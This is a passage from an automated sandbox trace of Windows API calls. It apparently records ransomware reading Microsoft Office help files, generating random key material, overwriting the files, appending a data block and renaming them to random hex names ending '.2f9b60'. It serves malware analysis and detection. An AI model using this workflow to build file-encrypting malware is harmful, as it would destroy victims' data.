nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3ed1f740, lpOverlapped=0x0 | out: lpBuffer=0x4247d540*, lpNumberOfBytesRead=0x3ed1f740*=0x3c00, lpOverlapped=0x0) returned 1 [0241.505] SetFilePointerEx (in: hFile=0x2ad8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058510 [0241.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f110 [0241.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f56e0 [0241.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f56e0) returned 1 [0241.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4249f1d0 [0241.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f56e0 [0241.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f55c0 [0241.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f55c0) returned 1 [0241.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f110) returned 1 [0241.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058510) returned 1 [0241.509] WriteFile (hFile=0x2ad8, lpBuffer=0x4249f1d0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3ed1f740, lpOverlapped=0x0) Thread: id = 2246 os_tid = 0xac8 [0143.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc")) returned 0x20 [0145.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC", dwFileAttributes=0x20) returned 1 [0146.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ee8 [0146.698] GetFileSizeEx (in: hFile=0x1ee8, lpFileSize=0x3f1ef9e0 | out: lpFileSize=0x3f1ef9e0*=626) returned 1 [0146.698] SetFilePointerEx (in: hFile=0x1ee8, liDistanceToMove=0x26e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.698] ReadFile (in: hFile=0x1ee8, lpBuffer=0x3f1ef960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f1ef9a8, lpOverlapped=0x0 | out: lpBuffer=0x3f1ef960*, lpNumberOfBytesRead=0x3f1ef9a8*=0x4, lpOverlapped=0x0) returned 1 [0146.719] SetFilePointerEx (in: hFile=0x1ee8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8280 [0146.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ef0 [0146.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ab0 [0146.720] NtQuerySystemTime (in: CurrentTime=0x3f1ef8a0 | out: CurrentTime=0x3f1ef8a0*=132462177519670000) returned 0x0 [0146.720] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x71a4d2bc [0146.720] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x7664964b [0146.720] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x7ddade12 [0146.720] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x3737e3d4 [0146.720] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0xb173745 [0146.720] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x5f544344 [0146.720] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x1b0a9665 [0146.720] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0xe92ae77 [0146.720] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x2ba7d636 [0146.720] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x1413c6a0 [0146.720] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x769a5e1b [0146.720] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x2cdca481 [0146.721] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x2463aa91 [0146.721] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x1b5f1f54 [0146.721] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x63ca5f6b [0146.721] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x604e3f24 [0146.721] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x49945721 [0146.721] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x5d85749d [0146.721] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x4ddc2a2f [0146.721] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x60eea608 [0146.721] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x65e73a42 [0146.721] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x258c8ddd [0146.721] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x7b29aeec [0146.721] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x2b901032 [0146.721] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x5711b31a [0146.721] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x6be4f031 [0146.721] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x4a226cec [0146.721] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x40332200 [0146.721] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x66059280 [0146.721] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x539bb2b5 [0146.721] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x49011402 [0146.721] RtlRandomEx (in: Seed=0x3f1ef890 | out: Seed=0x3f1ef890) returned 0x2f910f9a [0146.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced70b0 [0146.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0146.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c50 [0146.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0146.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ab0) returned 1 [0146.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8280) returned 1 [0146.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0146.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0146.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8280 [0146.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8280) returned 1 [0146.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423500b0 [0146.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42353cc0 [0146.731] ReadFile (in: hFile=0x1ee8, lpBuffer=0x423500b0, nNumberOfBytesToRead=0x272, lpNumberOfBytesRead=0x3f1ef890, lpOverlapped=0x0 | out: lpBuffer=0x423500b0*, lpNumberOfBytesRead=0x3f1ef890*=0x272, lpOverlapped=0x0) returned 1 [0146.731] SetFilePointerEx (in: hFile=0x1ee8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.731] WriteFile (in: hFile=0x1ee8, lpBuffer=0x42353cc0*, nNumberOfBytesToWrite=0x272, lpNumberOfBytesWritten=0x3f1ef894, lpOverlapped=0x0 | out: lpBuffer=0x42353cc0*, lpNumberOfBytesWritten=0x3f1ef894*=0x272, lpOverlapped=0x0) returned 1 [0161.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3590 [0161.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a35c0 [0161.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a35c0) returned 1 [0161.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42353cc0) returned 1 [0161.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423500b0) returned 1 [0161.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0161.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0161.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7d8400 [0161.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0161.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0161.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a35c0 [0161.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a35c0) returned 1 [0161.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7d84c0 [0161.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a35c0 [0161.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a35f0 [0161.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a35f0) returned 1 [0161.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0161.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0161.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10e) returned 0x1ce141b0 [0161.123] SetFilePointerEx (in: hFile=0x1ee8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.123] WriteFile (hFile=0x1ee8, lpBuffer=0x1ce141b0, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3f1ef9b0, lpOverlapped=0x0) [0200.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f60 [0200.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fecb0 [0200.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fecb0) returned 1 [0200.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x204fecb0 [0200.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fed70 [0200.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fed40 [0200.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fed40) returned 1 [0200.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0200.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x42059f60 [0200.236] sprintf (in: _Dest=0x42059f60, _Format="%c%c" | out: _Dest="95") returned 2 [0200.237] sprintf (in: _Dest=0x42059f62, _Format="%c%c" | out: _Dest="7c") returned 2 [0200.237] sprintf (in: _Dest=0x42059f64, _Format="%c%c" | out: _Dest="e6") returned 2 [0200.237] sprintf (in: _Dest=0x42059f66, _Format="%c%c" | out: _Dest="8a") returned 2 [0200.237] sprintf (in: _Dest=0x42059f68, _Format="%c%c" | out: _Dest="83") returned 2 [0200.237] sprintf (in: _Dest=0x42059f6a, _Format="%c%c" | out: _Dest="b9") returned 2 [0200.237] sprintf (in: _Dest=0x42059f6c, _Format="%c%c" | out: _Dest="f1") returned 2 [0200.237] sprintf (in: _Dest=0x42059f6e, _Format="%c%c" | out: _Dest="6e") returned 2 [0200.237] sprintf (in: _Dest=0x42059f70, _Format="%c%c" | out: _Dest="da") returned 2 [0200.237] sprintf (in: _Dest=0x42059f72, _Format="%c%c" | out: _Dest="ad") returned 2 [0200.237] sprintf (in: _Dest=0x42059f74, _Format="%c%c" | out: _Dest="3d") returned 2 [0200.237] sprintf (in: _Dest=0x42059f76, _Format="%c%c" | out: _Dest="ad") returned 2 [0200.237] sprintf (in: _Dest=0x42059f78, _Format="%c%c" | out: _Dest="e2") returned 2 [0200.237] sprintf (in: _Dest=0x42059f7a, _Format="%c%c" | out: _Dest="bd") returned 2 [0200.237] sprintf (in: _Dest=0x42059f7c, _Format="%c%c" | out: _Dest="85") returned 2 [0200.237] sprintf (in: _Dest=0x42059f7e, _Format="%c%c" | out: _Dest="cc") returned 2 [0200.237] sprintf (in: _Dest=0x42059f80, _Format="%c%c" | out: _Dest="3d") returned 2 [0200.237] sprintf (in: _Dest=0x42059f82, _Format="%c%c" | out: _Dest="69") returned 2 [0200.237] sprintf (in: _Dest=0x42059f84, _Format="%c%c" | out: _Dest="a1") returned 2 [0200.237] sprintf (in: _Dest=0x42059f86, _Format="%c%c" | out: _Dest="68") returned 2 [0200.237] sprintf (in: _Dest=0x42059f88, _Format="%c%c" | out: _Dest="55") returned 2 [0200.237] sprintf (in: _Dest=0x42059f8a, _Format="%c%c" | out: _Dest="9f") returned 2 [0200.237] sprintf (in: _Dest=0x42059f8c, _Format="%c%c" | out: _Dest="1a") returned 2 [0200.237] sprintf (in: _Dest=0x42059f8e, _Format="%c%c" | out: _Dest="16") returned 2 [0200.238] sprintf (in: _Dest=0x42059f90, _Format="%c%c" | out: _Dest="d6") returned 2 [0200.238] sprintf (in: _Dest=0x42059f92, _Format="%c%c" | out: _Dest="5f") returned 2 [0200.238] sprintf (in: _Dest=0x42059f94, _Format="%c%c" | out: _Dest="49") returned 2 [0200.238] sprintf (in: _Dest=0x42059f96, _Format="%c%c" | out: _Dest="d1") returned 2 [0200.238] RtlInitAnsiString (in: DestinationString=0x3f1efa28, SourceString="957ce68a83b9f16edaad3dade2bd85cc3d69a168559f1a16d65f49d1" | out: DestinationString="957ce68a83b9f16edaad3dade2bd85cc3d69a168559f1a16d65f49d1") [0200.238] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f1ef9f8, SourceString="957ce68a83b9f16edaad3dade2bd85cc3d69a168559f1a16d65f49d1", AllocateDestinationString=1 | out: DestinationString="957ce68a83b9f16edaad3dade2bd85cc3d69a168559f1a16d65f49d1") returned 0x0 [0200.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x42061eb0 [0200.239] wcscat (in: _Dest=0x431e4020, _Source="957ce68a83b9f1" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\957ce68a83b9f1") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\957ce68a83b9f1" [0200.239] wcscat (in: _Dest=0x431e4020, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\957ce68a83b9f1.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\957ce68a83b9f1.2f9b60" [0200.239] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\957ce68a83b9f1.2f9b60", NtPathName=0x3f1ef9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\957ce68a83b9f1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x431ed860 Thread: id = 2247 os_tid = 0x290 [0143.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt")) returned 0x20 [0145.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT", dwFileAttributes=0x20) returned 1 [0146.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ef8 [0146.659] GetFileSizeEx (in: hFile=0x1ef8, lpFileSize=0x3eb8f920 | out: lpFileSize=0x3eb8f920*=218) returned 1 [0146.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8460 [0146.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced69f0 [0146.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ab0 [0146.659] NtQuerySystemTime (in: CurrentTime=0x3eb8f7e0 | out: CurrentTime=0x3eb8f7e0*=132462177519046000) returned 0x0 [0146.659] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x50e56d62 [0146.659] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x39ed55a0 [0146.659] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x327b17fc [0146.659] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x7bb8f395 [0146.659] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x41ed8afd [0146.659] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x348978f1 [0146.659] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x7c679bba [0146.659] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x13732262 [0146.659] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x18fe95fe [0146.659] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x1d7ac779 [0146.660] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x45c6441b [0146.660] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x40332200 [0146.660] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0xec17898 [0146.660] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x5ffd28c3 [0146.660] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x5392c8e3 [0146.660] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x42ca3603 [0146.660] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x73170c67 [0146.660] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x49cf8cbe [0146.660] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x690766ae [0146.660] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x712a20bd [0146.660] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x12720de2 [0146.660] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x33fb05dd [0146.660] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x35e83d17 [0146.660] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x961f76c [0146.660] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x1445b522 [0146.660] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x723efbbc [0146.660] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x571c9a2a [0146.660] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x58bbe08a [0146.660] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x6aae252e [0146.660] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x58599632 [0146.660] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x5139eedf [0146.660] RtlRandomEx (in: Seed=0x3eb8f7d0 | out: Seed=0x3eb8f7d0) returned 0x51621c23 [0146.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8100 [0146.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0146.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6f60 [0146.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0146.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ab0) returned 1 [0146.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8460) returned 1 [0146.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420590b0 [0146.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0146.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8460 [0146.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8460) returned 1 [0146.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422401c0 [0146.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42243dd0 [0146.670] ReadFile (in: hFile=0x1ef8, lpBuffer=0x422401c0, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x3eb8f7d0, lpOverlapped=0x0 | out: lpBuffer=0x422401c0*, lpNumberOfBytesRead=0x3eb8f7d0*=0xda, lpOverlapped=0x0) returned 1 [0146.671] SetFilePointerEx (in: hFile=0x1ef8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.671] WriteFile (in: hFile=0x1ef8, lpBuffer=0x42243dd0*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x3eb8f7d4, lpOverlapped=0x0 | out: lpBuffer=0x42243dd0*, lpNumberOfBytesWritten=0x3eb8f7d4*=0xda, lpOverlapped=0x0) returned 1 [0146.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205c030 [0146.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bfd0 [0146.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bfd0) returned 1 [0146.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42243dd0) returned 1 [0146.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422401c0) returned 1 [0146.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0146.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0146.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f5b0 [0146.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420590b0 [0146.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0146.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bfd0 [0146.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bfd0) returned 1 [0146.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9fbf0 [0146.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bfd0 [0146.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf40 [0146.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf40) returned 1 [0146.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0146.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0146.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10e) returned 0x166f20 [0146.881] SetFilePointerEx (in: hFile=0x1ef8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0146.881] WriteFile (in: hFile=0x1ef8, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3eb8f8f0, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x3eb8f8f0*=0x10e, lpOverlapped=0x0) returned 1 [0146.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420590b0 [0146.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0146.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf40 [0146.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf40) returned 1 [0146.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x4205bf40 [0146.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0146.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe50 [0146.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fe50) returned 1 [0146.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0146.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0146.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x420590b0 [0146.937] sprintf (in: _Dest=0x420590b0, _Format="%c%c" | out: _Dest="08") returned 2 [0146.937] sprintf (in: _Dest=0x420590b2, _Format="%c%c" | out: _Dest="5a") returned 2 [0146.937] sprintf (in: _Dest=0x420590b4, _Format="%c%c" | out: _Dest="6c") returned 2 [0146.937] sprintf (in: _Dest=0x420590b6, _Format="%c%c" | out: _Dest="c9") returned 2 [0146.937] sprintf (in: _Dest=0x420590b8, _Format="%c%c" | out: _Dest="5b") returned 2 [0146.937] sprintf (in: _Dest=0x420590ba, _Format="%c%c" | out: _Dest="79") returned 2 [0146.937] sprintf (in: 